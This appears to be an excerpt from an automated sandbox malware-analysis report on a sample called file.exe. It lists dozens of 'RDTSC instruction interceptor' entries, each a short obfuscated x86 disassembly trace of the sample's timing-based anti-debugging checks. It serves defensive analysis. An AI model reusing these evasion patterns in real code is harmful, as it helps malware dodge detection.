Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A024D second address: 52A02D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bl, ch 0x00000008 popad 0x00000009 mov edi, 00000000h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F0580C30A85h 0x00000015 sbb cx, 56A6h 0x0000001a jmp 00007F0580C30A81h 0x0000001f popfd 0x00000020 popad 0x00000021 inc ebx 0x00000022 pushad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 pushfd 0x0000002a jmp 00007F0580C30A86h 0x0000002f and ecx, 550E4778h 0x00000035 jmp 00007F0580C30A7Bh 0x0000003a popfd 0x0000003b popad 0x0000003c test al, al 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F0580C30A80h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A02D2 second address: 52A02D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0367 second address: 52A039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F0580C30A7Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0580C30A7Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A039C second address: 52A03D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0580563BB1h 0x00000009 sbb cx, 0056h 0x0000000e jmp 00007F0580563BB1h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 nop 0x0000001a pushad 0x0000001b mov ebx, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f mov ax, 7FDBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A03D7 second address: 52A03DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0409 second address: 52A040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A040F second address: 52A0413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0413 second address: 52A0417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0417 second address: 52A043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0580C30ACEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0580C30A88h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A043F second address: 52A0486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F0580563BB6h 0x00000011 jne 00007F05F0EE1BDAh 0x00000017 jmp 00007F0580563BB0h 0x0000001c mov ebx, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0486 second address: 52A048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A048C second address: 52A0544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e jmp 00007F0580563BB6h 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F0580563BAEh 0x0000001b sbb cx, 4FE8h 0x00000020 jmp 00007F0580563BABh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F0580563BB8h 0x0000002c sbb al, 00000048h 0x0000002f jmp 00007F0580563BABh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007F0580563BB9h 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F0580563BB8h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0544 second address: 52A054A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A054A second address: 52A0550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0550 second address: 52A0554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0554 second address: 52A056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0580563BABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A056A second address: 52A0582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0582 second address: 52A05BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, bx 0x0000000f pushfd 0x00000010 jmp 00007F0580563BAFh 0x00000015 adc ah, 0000005Eh 0x00000018 jmp 00007F0580563BB9h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A05BF second address: 52A0607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov al, 81h 0x0000000d mov di, D69Ch 0x00000011 popad 0x00000012 push esp 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007F0580C30A7Dh 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0580C30A87h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0677 second address: 52A067C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290D6C second address: 5290D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290D84 second address: 5290DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0580563BB8h 0x00000012 or ecx, 184E05A8h 0x00000018 jmp 00007F0580563BABh 0x0000001d popfd 0x0000001e mov bx, ax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290DBF second address: 5290E1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0580C30A7Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F0580C30A80h 0x00000016 push eax 0x00000017 jmp 00007F0580C30A7Bh 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e jmp 00007F0580C30A84h 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E1F second address: 5290E35 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 3F225AE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [ebp-04h], 55534552h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov bl, al 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E48 second address: 5290E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E4C second address: 5290E5B instructions: 0x00000000 rdtsc 0x00000002 mov ax, 06C3h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E5B second address: 5290E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0580C30A7Dh 0x0000000a sbb cx, A746h 0x0000000f jmp 00007F0580C30A81h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E85 second address: 52A0A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dl 0x00000005 mov ch, ACh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ret 0x0000000b nop 0x0000000c jmp 00007F0580563BA2h 0x0000000e and bl, 00000001h 0x00000011 movzx eax, bl 0x00000014 lea esp, dword ptr [ebp-0Ch] 0x00000017 pop esi 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a pop ebp 0x0000001b ret 0x0000001c add esp, 04h 0x0000001f mov eax, dword ptr [00D360A4h+ebx*4] 0x00000026 mov ecx, 04B3412Ah 0x0000002b xor ecx, dword ptr [00D360ACh] 0x00000031 add eax, ecx 0x00000033 inc eax 0x00000034 jmp eax 0x00000036 push esi 0x00000037 call 00007F0580589D78h 0x0000003c push ebp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 sub esp, 00000284h 0x00000046 mov esi, dword ptr [esp+00000298h] 0x0000004d mov dword ptr [esp+00000268h], 00D38100h 0x00000058 mov dword ptr [esp+00000264h], 0000009Dh 0x00000063 mov dword ptr [esp], 00000000h 0x0000006a mov eax, dword ptr [00D33D58h] 0x0000006f call eax 0x00000071 mov edi, edi 0x00000073 jmp 00007F0580563BB0h 0x00000078 xchg eax, ebp 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A6F second address: 52A0A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A73 second address: 52A0A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A90 second address: 52A0A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0A95 second address: 52A0AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0580563BB6h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0580563BB7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AD0 second address: 52A0AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0AD6 second address: 52A0B52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0580563BADh 0x00000011 or si, 6D06h 0x00000016 jmp 00007F0580563BB1h 0x0000001b popfd 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F0580563BAEh 0x00000023 sbb esi, 5FDE43A8h 0x00000029 jmp 00007F0580563BABh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 cmp dword ptr [75C7459Ch], 05h 0x00000038 jmp 00007F0580563BB5h 0x0000003d je 00007F05F0ED1A5Fh 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0B52 second address: 52A0B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0B56 second address: 52A0B69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C99 second address: 52A0C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C9D second address: 52A0CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0CA1 second address: 52A0CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0CA7 second address: 52A0CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 mov bx, cx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B099D second address: 52B0A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 call 00007F0580C30A83h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F0580C30A7Fh 0x00000015 xchg eax, esi 0x00000016 jmp 00007F0580C30A86h 0x0000001b push eax 0x0000001c pushad 0x0000001d mov cx, bx 0x00000020 mov si, dx 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007F0580C30A80h 0x0000002d pop ecx 0x0000002e movsx ebx, ax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A03 second address: 52B0A49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007F0580563BAFh 0x0000000c sub eax, 2E92A4FEh 0x00000012 jmp 00007F0580563BB9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov bx, 7A5Eh 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A49 second address: 52B0ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0580C30A80h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f jmp 00007F0580C30A7Eh 0x00000014 je 00007F05F158E3BCh 0x0000001a pushad 0x0000001b call 00007F0580C30A7Eh 0x00000020 mov bl, al 0x00000022 pop edi 0x00000023 mov ax, 8EA3h 0x00000027 popad 0x00000028 cmp dword ptr [75C7459Ch], 05h 0x0000002f jmp 00007F0580C30A86h 0x00000034 je 00007F05F15A6462h 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F0580C30A7Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0ABF second address: 52B0AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AC5 second address: 52B0ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0ACB second address: 52B0ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BA3 second address: 52B0BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BA7 second address: 52B0BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0BAD second address: 52B0BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0580C30A82h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A8790 second address: 65A8799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A8799 second address: 65A87DC instructions: 0x00000000 rdtsc 0x00000002 js 00007F0580C30A76h 0x00000008 jnp 00007F0580C30A76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F0580C30A86h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0580C30A7Ch 0x0000001d je 00007F0580C30A7Eh 0x00000023 jc 00007F0580C30A76h 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A87DC second address: 65A87E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C3B84 second address: 65C3B8E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C3B8E second address: 65C3B98 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0580563BAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C3E48 second address: 65C3E5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A83h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C3E5F second address: 65C3E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C3E65 second address: 65C3E79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F0580C30A76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C4280 second address: 65C4284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C5CC8 second address: 65C5CDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0580C30A78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C5CDA second address: 65C5CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C5CE1 second address: 65C5CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0580C30A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C5DFC second address: 65C5E83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 67A5A7F2h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F0580563BA8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 lea ebx, dword ptr [ebp+1244BBC6h] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F0580563BA8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 pushad 0x0000004a jbe 00007F0580563BA6h 0x00000050 push edx 0x00000051 pop edx 0x00000052 popad 0x00000053 push esi 0x00000054 js 00007F0580563BA6h 0x0000005a pop esi 0x0000005b popad 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jbe 00007F0580563BB7h 0x00000065 jmp 00007F0580563BB1h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C606C second address: 65C6079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007F0580C30A7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C6079 second address: 65C6088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F0580563BA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C6088 second address: 65C608C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C608C second address: 65C6096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C6096 second address: 65C60CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov cl, bl 0x0000000e push 00000000h 0x00000010 mov si, dx 0x00000013 call 00007F0580C30A79h 0x00000018 jmp 00007F0580C30A7Dh 0x0000001d push eax 0x0000001e push edi 0x0000001f pushad 0x00000020 jns 00007F0580C30A76h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C60CA second address: 65C60D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C60D9 second address: 65C6111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0580C30A87h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C6111 second address: 65C612D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jl 00007F0580563BB8h 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F0580563BA6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7049 second address: 65E704E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E704E second address: 65E7054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7054 second address: 65E7061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F0580C30A7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E71FD second address: 65E7222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7222 second address: 65E7226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7226 second address: 65E722A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
